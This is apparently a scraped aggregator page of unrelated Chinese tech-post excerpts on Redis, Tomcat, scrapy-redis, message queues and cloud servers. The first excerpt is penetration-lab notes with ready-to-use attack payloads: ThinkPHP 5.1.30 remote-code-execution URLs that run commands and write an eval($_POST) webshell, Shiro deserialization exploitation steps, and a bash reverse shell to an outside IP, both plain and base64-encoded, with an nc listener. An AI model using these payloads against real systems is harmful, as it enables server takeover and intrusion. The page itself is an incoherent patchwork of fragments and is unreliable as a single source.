Redis

【来自BMH的面试靶场】2021-02-07小记录

我只是一个虾纸丫 提交于 2021-02-09 11:02:46
一 Thinkphp-5.1.30 /index.php?s=index/think\app/invokefunction&function=call _user_ func_array&vars[ 0 ]=system&vars[ 1 ][ ]=whoami /index.php/? s = index /\think\template\driver\file/ write &cacheFile=kanhayou.php&content=%3C?php%C2%A0@eval($_POST[kanhayou]);?%3E 二 Shiro-反序列化 出网验证: https: //github.com/sv3nbeast/ShiroScan python3 shiro_rce.py http: //xx.xx.70.24:40817 "ping cqehyd.dnslog.cn" 准备工作: bash -i >& /dev/tcp/123.123.151.3/8003 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTUxLjMvODA123123}|{base64,-d}|{bash,-i} nc -lvvp 8003 利用: https: //github.com/insightglacier/Shiro

Redis内存淘汰策略

时光毁灭记忆、已成空白 提交于 2021-02-09 09:53:00
一、逻辑图 二、淘汰策略 // noeviction 当内存不足时,新写入操作会报错。 // allkeys-random 当内存不足时,在键空间中,随机移除某个key。 // allkeys-lru 当内存不足时,在键空间中,移除最近最少使用的key。 // volatile-lru 当内存不足时,在设置了过期时间的键空间中,移除最近最少使用的key // volatile-random 当内存不足时,在设置了过期时间的键空间中,移除随机某个key // volatile-ttl 当内存不足时,在设置了过期时间的键空间中,有更早过期时间的key优先移除 三、考点剖析 1、如何设置淘汰策略? //Redis.conf maxmemory-policy allkeys-lru 2、LRU算法的简单实现 import java.util.LinkedHashMap; import java.util.Map; public class LruCache<K, V> extends LinkedHashMap<K, V> { private final int maxCapacity; private final float DEFAULT_LOAD_FACTOR = 0.75f; public LruCache(int maxCapacity) { super(maxCapacity,

tomcat 挂掉,假死无响应原因总结和解决方案

删除回忆录丶 提交于 2021-02-09 08:28:18
tomcat假死原因 以前遇到tomcat莫名奇妙的假死了,没有任何的响应,然后重启后又可以了,隔段时间又假死了。以前不懂的处理和排除原因,纠结的半死。无从入手,都想砸电脑,小伙伴们有遇到过,我遇到过4次。 其实tomcat假死引起的原因有很多,要具体分析一下和排查一下。 tomcat假死有以下几种可能的原因: redis的连接池资源没释放掉(tcp没释放掉,tcp状态为close_wait) 数据库连接池资源没释放掉(tcp没释放掉,tcp状态为close_wait) 上传文件资源没关闭掉 (tcp没释放掉,tcp状态为close_wait) httpclient请求没关闭掉 (tcp没释放掉,tcp状态为close_wait) 线程死锁 线程被阻塞了,没继续往下执行 tomcat的假死的原因有很多,很多是由于tcp没有释放掉。具体怎么排查原因,下面会介绍一下。 案例1 顺便说我遇到的一个坑,我曾经部署专门做定时任务项目,这个是用spring的quartz做的。发现定时任务执行一段时间后,居然没响应了,tomcat没挂掉,cpu和内存也正常。就是定时任务不执行。查看了线程,也没有死锁。后面查了很久,居然quartz的定时任务调度居然开启的是单线程的。由于我其中一个定时任务要执行消息写入数据库,这个量非常大,而且服务器配置比较差,写入比较慢。所以导致这个任务要执行差不多1天

Redis Sentinel(哨兵)

半腔热情 提交于 2021-02-09 02:01:07
提到哨兵我们第一个印象就是和安全保卫方面相关的。那么在Redis中也是一样的,它也是保卫Redis的运行安全的。Redis在主从复制的模式下,如果主节点发生故障不能提供服务时,那我们可以人工的介入,将其中任何一个从节点晋升为主节点,然后我们还要通知其它子节点更新主节点信息。这样Redis就可以继续提供服务了。但在实际的场景中,如果我们采用人工介入的方式来解决主节点故障等问题是不恰当的,因为只要和人有关的操作就可能会有问题,其二人工进入的方式修复的比较慢。为了解决以上各种问题,于是Redis在2.8版本之后提供了Redis Sentinel(哨兵)功能来解决这种问题。所以这一篇中我们主要介绍Redis Sentinel的详细使用。 在上面我们提到过,当Redis主节点发生故障时,我们可以采用人工介入的主式,选取一个从节点继续提供服务,但这样有很大的不便,无论是对于应用还是运维来说。对于应用方来说,主节点的故障可能导致数据的丢失及读取数据错误,而对于运维来说故障的修复实时性和准确性则无法得到保障。所以当我们遇到上述问题并且Redis在2.8版本之后时,我们就可以使用Redis Sentinel功能,该功能能够自动完成故障发现和故障转移。 Redis Sentinel是一个分布式架构,其中包含若干个Sentinel节点和Redis数据节点

极客时间-左耳听风-程序员攻略-数据库

你。 提交于 2021-02-08 23:52:46
对于数据库方向,重点就是两种数据库,一种是以 SQL 为代表的关系型数据库,另一种是以非 SQL 为代表的 NoSQL 数据库。关系型数据库主要有三个:Oracle、MySQL 和 Postgres。 关系型数据库 Oracle,《 Oracle Database 9i/10g/11g 编程艺术 》 这本书中深入分析了 Oracle 数据库体系结构,包括文件、内存结构以及构成 Oracle 数据库和实例的底层进程,利用具体示例讨论了一些重要的数据库主题,如锁定、并发控制、事务等。同时分析了数据库中的物理结构,如表、索引和数据类型,并介绍采用哪些技术能最优地使用这些物理结构。 MySQL 官方手册]( https://dev.mysql.com/doc/ )。 官方几个 PPT 。 How to Analyze and Tune MySQL Queries for Better Performance MySQL Performance Tuning 101 MySQL Performance Schema & Sys Schema MySQL Performance: Demystified Tuning & Best Practices MySQL Security Best Practices MySQL Cluster Deployment Best Practices

scrapy和scrapy-redis的区别

血红的双手。 提交于 2021-02-08 23:03:55
scrapy是一个python爬虫框架,爬取的效率极高,具有高度的定制性,但是不支持分布式。而scrapy-redis是一套基于redis库,运行在scrapy框架之上的组件,可以让scapy支持分布式策略 Slaver端共享Master端redis数据库里的item 队列、请求队列和请求指纹集合。 选择redis数据库的原因:   redis支持主从同步,而且数据都是缓存在内存中的,所以基于redis的分布式爬虫,对请求和数据的高频率读取效率都非常高     scrapy-redis和scrapy的关系就像电脑和固态硬盘一样,是电脑中的一个插件,能让电脑更快的运行     scrapy是一个爬虫框架,scrapy-redis则是这个框架上可以选择的插件,它可以让爬虫跑得更 解释说明: 从优先级队列中获取requests对象,交给engine engine将requests对此昂交给下载器下载,期间会通过downlomiddleware的process_request方法 下载器完成下载,获得response对象,将该对象交给engine,期间会经过downloadmiddleware的process_response()方法 engine将获得的response对象交给spider进行解析,期间会经过spidermiddleware的process_spider_input(

公众号全部精华文章导航手册

泄露秘密 提交于 2021-02-08 21:55:29
前言 该文章收集了本公众号的全部精华文章,方便读者阅读。 面试知识点复习手册 Java后端开发知识点快速复习手册全导航 Java基础知识点面试手册(上) Java基础知识点面试手册(下) Java容器(List、Set、Map)知识点快速复习手册(上) Java容器(List、Set、Map)知识点快速复习手册(中) Java容器(List、Set、Map)知识点快速复习手册(下) Redis基础知识点快速复习手册(上) Redis基础知识点快速复习手册(下) Java并发知识点快速复习手册(上) Java并发知识点快速复习手册(下) Java虚拟机知识点快速复习手册(上) Java虚拟机知识点快速复习手册(下) HTTP应知应会知识点复习手册(上) HTTP应知应会知识点复习手册(下) 计算机网络基础知识点快速复习手册 面试常问的小算法总结 快速梳理23种常用的设计模式(上篇) 快速梳理常用的设计模式(中篇) 快速梳理23种常用的设计模式(下篇) 海量数据处理问题知识点复习手册 排序算法最强总结及其代码实现(Python/Java) 查找算法总结及其算法实现Python/Java 后端开发趣闻 阿里巴巴Java开发手册阅读笔记 通俗易懂的生产环境Web应用架构介绍 Zookeeper和Kafka环境搭建总结 Spring Boot开发实战 Springboot实战:发送邮件

《Redis开发与运维》读书笔记(一)

江枫思渺然 提交于 2021-02-08 19:00:00
全局命令 查看所有的键(遍历所有key,慢查询之一) keys * 键总数(redis内部维护的计数器,并不会扫描全库) dbsize 检查键是否存在 exists key 删除键 del key1 key2... 过期设置 expire key seconds 获取数据类型 type key 数据结构与内部编码 string: int embstr raw hash: hashtable ziplist list: quicklist set: hashtable intset zset: skiplist ziplist 单线程与I/O多路复用模型 客户端到服务端模型 发送命令 执行命令 进入命令队列 返回结果 为什么快 纯内存访问(主要) 非阻塞io:依赖linux内核中的多路复用IO接口 epoll ,自编写一套处理模型(不依赖于其他事件模型)将epoll中的连接、读写、关闭都转换为事件 单线程避免了线程切换以及线程竞争的开销,单线程也简化了数据结构与算法的实现,坏处是对于慢查询非常敏感,一个慢查询将阻塞之后所有的命令 数据结构的概览 字符串 命令 命令 时间复杂度 set key value O(1) get key O(1) del key [key ...] O(k) mset key value [key value ...] O(k) mget key [key

整体算力提升40% 芯片级安全防护 | 阿里云发布第七代ECS云服务器

会有一股神秘感。 提交于 2021-02-08 17:47:52
2 月 8 日,阿里云宣布推出第七代 ECS 云服务器产品家族,基于最新的神龙架构,相较于上一代整体算力提升 40%,容器部署密度最大可提升 6 倍,是最佳的云原生载体,此外全量搭载安全芯片,实现“全方位立体化防护”,为云上企业提供金融级的安全可信环境,目前官网已全面开启邀请测试。 据悉,阿里云第七代 ECS 提供了极致性能的云原生算力,搭载了基于 IceLake 架构的第三代英特尔®至强®可扩展处理器,包括通用型 g7、计算型 c7 和内存型 r7 三个系列实例。存储方面,云盘挂载密度最多提升 1 倍,最大吞吐能力提升 1 倍,最大 IOPS 提升 1 倍;网络方面升级至 50GX2 物理网络,支持大帧传输、转发效率提升近 5 倍。 此外,第七代 ECS 还能在 3 分钟交付 50 万核 vCPU, 单实例启动 10 秒,极好地满足了用户对容器等资源极速弹性的需求,是云原生的最佳载体。 在具体场景方面,第七代 ECS 的表现也很优异,如 MySQL、Redis、Nginx 等互联网高负载场景性能最大提升 50%;在视频转码的场景下,性能最多可提升 40%;在区块链计算场景下,性能最大提升 10 倍。 随着越来越多的企业迁移上云,基础设施的安全保障和数据安全持续受到关注。据悉,阿里云为新一代 ECS 设计了全新的安全立体化防护方案,首次全量搭载安全芯片作为硬件可信根

kafka rabbitMQ RockerMq 等消息中间件的对比 消息发送新能区别

删除回忆录丶 提交于 2021-02-08 12:59:53
kafka :Kafka是LinkedIn开源的分布式发布-订阅消息系统,目前归属于Apache定级项目。Kafka主要特点是基于Pull的模式来处理消息消费,追求高吞吐量,一开始的目的就是用于日志收集和传输。0.8版本开始支持复制,不支持事务,对消息的重复、丢失、错误没有严格要求,适合产生大量数据的互联网服务的数据收集业务。 RabbitMQ:是使用Erlang语言开发的开源消息队列系统,基于AMQP协议实现,主要特征是面向消息 队列 路由(点对点 和发布订阅)可靠性 安全性,对数据一致性 稳定性 高可靠行要求很高,对性能和 高吞吐量的要求次之 RocketMQ阿里的开源中间件,是纯Java开发,具有高吞吐量高可用性适合大规模分布式系统的应用特点,思路起源于kafka单并非完全copy kafka,在我看来是对消息的靠靠性以及事务性做了优化 测试目的 对比Kafka、RabbitMQ、RocketMQ发送小消息(124字节)的性能。这次压测我们只关注服务端的性能指标,所以压测的标准是: 不断增加发送端的压力,直到系统吞吐量不再上升,而响应时间拉长。这时服务端已出现性能瓶颈,可以获得相应的系统最佳吞吐量。 测试场景 在同步发送场景中,三个消息中间件的表现区分明显: Kafka的吞吐量高达17.3w/s,不愧是高吞吐量消息中间件的行业老大